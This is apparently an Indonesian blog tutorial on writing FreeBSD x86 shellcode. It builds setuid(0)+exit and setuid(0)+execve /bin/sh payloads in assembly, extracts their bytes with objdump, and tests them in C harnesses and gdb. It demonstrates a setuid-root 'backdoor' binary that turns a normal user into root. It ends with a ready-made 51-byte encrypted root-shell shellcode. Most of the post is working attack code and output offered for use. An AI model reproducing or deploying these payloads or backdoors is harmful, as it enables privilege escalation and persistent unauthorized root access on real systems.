ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan 
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
mywisdom# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit 1
#define SYS_thr_exit 431
mywisdom# 
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit 1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi 
syscall exit:

keluar:
mov eax,0x01
int 80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17 
int 80h

keluar:
push byte 0x01
pop eax
int 80h

-----------------


misal namanya setuid_exit.asm

mywisdom# nasm -f elf setuid_exit.asm
mywisdom# ld -o setuid_exit setuid_exit.o


mywisdom# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
mywisdom# objdump -d setuid_exit
setuid_exit: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 17 00 00 00 mov $0x17,%eax
8048089: cd 80 int $0x80

0804808b <keluar>:
804808b: 6a 01 push $0x1
804808d: 58 pop %eax
804808e: cd 80 int $0x80
mywisdom# 
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada 
null string, jadi kita pake register 8 bit: al

mov $0x17,%eax 

menjadi:


mov $0x17,%al


kompile:
mywisdom# nasm -f elf setuid_exit2.asm
mywisdom# ld -o setuid_exit setuid_exit.o

mywisdom# objdump -d setuid_exit2

setuid_exit2: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b0 17 mov $0x17,%al
8048086: cd 80 int $0x80

08048088 <keluar>:
8048088: 6a 01 push $0x1
804808a: 58 pop %eax
804808b: cd 80 int $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80


--------------------
/**freebsd setuid then exit shellcode made by: mywisdom**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\ x80";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode)); 
(*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

mywisdom# gcc -o keluar keluar.c
mywisdom# ./keluar
Length: 13
mywisdom# 

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80
1 2 3 4 5 6 7 8 9 10 11 12 13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid 
execve /bin/sh


------------------
mywisdom# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve 59
#define SYS___mac_execve 415
#define SYS_fexecve 492
mywisdom# 
-------------------

yang akan dipakai adalah yg: #define SYS_execve 59 

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

int
execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor eax,eax; eax diset ke null 
push byte 0 ;sama dengan push eax
push '//sh' ;alamat //sh disimpan ke stack
push '/bin'
mov ebx,esp 
push byte 0 ;sama dengan push eax
push esp
push ebx
push byte 0
mov al,0x3b ;syscall execve
int 80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push byte 0
push byte 0
mov al,0x17
int 80h

xor eax,eax
push byte 0
push '//sh'
push '/bin'
mov ebx,esp
push byte 0
push esp
push ebx
push byte 0
mov al,0x3b
int 80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
mywisdom# nasm -f elf suid.asm -g
mywisdom# ld -o suid suid.o
mywisdom# gdb -q suid
(gdb) l
1 ;copyleft by dom dom aka m0nk3y
2 global _start
3 section .text
4 _start:
5 xor eax,eax
6 push byte 0
7 push byte 0
8 mov al,0x17
9 int 80h
10 
(gdb) l
11 xor eax,eax
12 push byte 0
13 push '//sh'
14 push '/bin'
15 mov ebx,esp
16 push byte 0
17 push esp
18 push ebx
19 push byte 0
20 mov al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfe9f0 -1077941776
esp 0xbfbfe9f0 0xbfbfe9f0
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x804809a 0x804809a
eflags 0x246 582
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb) 

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13 push '//sh'
14 push '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15 mov ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb) 

0xbfbfe9f0 adlaah alamat /bin/sh 

mulai break di baris ke 16 sehingga ebx :
ebx 0xbfbfe9f0 -1077941776

(gdb) x/s -1077941776
0xbfbfe9f0: "/bin//sh"
(gdb) 


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x080480a2 in _start ()

mywisdom# nasm -f elf suid.asm
mywisdom# ld -o suid suid.o
mywisdom# chmod u+s suid
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011 
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom# su mywisdom
$ id
uid=1001(mywisdom) gid=1001(mywisdom) groups=1001(mywisdom)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(mywisdom) groups=1001(mywisdom)
# 

(gdb) i r
eax 0x3b 59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana 
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al 
dengan 
0x3b maka eax=0x3b 


Bonus Stage:
===============================================
/**
Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh
Date : Sun May 29 08:07:11 UTC 2011
Author; mywisdom (antonsoft_2004@yahoo.com)
Web : devilzc0de.org
Gopher: gopher://sdf.org/1/users/wisdomc0
Blog : http://myw1sd0m.blogspot.com/
Tested on: FreeBSD 8.2-RELEASE i386
special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel, 
net_spy, and all my friends
**/
#include <stdio.h>
#include <string.h>
int main()
{
char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2 \xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\ xc2\x73\x82"
"\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\ xa1\x12\x16"
"\x11\x12\xf2\x79\x8f\xc2";
fprintf(stdout,"Length: %d\n",strlen(sc)); 
(*(void(*)()) sc)();
return 0;
}
================================================

.
-[ Closing ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Segmen-Segmen Program di Dalam Memori :
* Data Segment (Data + BSS + Heap)
* Stack 
* Code segment atau bisa juga disebut segment text
* Memory
secara kasar inilah gambaran dari memori :

gambaran di atas merupakan virtual memory, berikut ini adl gambaran pemetaan virtual memori ke memori fisik:


Ok sekian dulu karena terbatasnya waktu. Enjoy reading.

==================================================

Tidak ada komentar:

Posting Komentar